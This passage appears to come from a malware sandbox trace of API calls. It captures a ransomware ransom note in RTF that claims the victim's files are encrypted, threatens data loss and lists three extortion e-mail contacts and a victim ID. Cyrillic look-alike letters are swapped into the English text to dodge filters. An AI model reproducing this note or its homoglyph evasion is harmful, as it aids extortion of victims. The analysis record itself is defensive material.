ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.909] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.909] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd 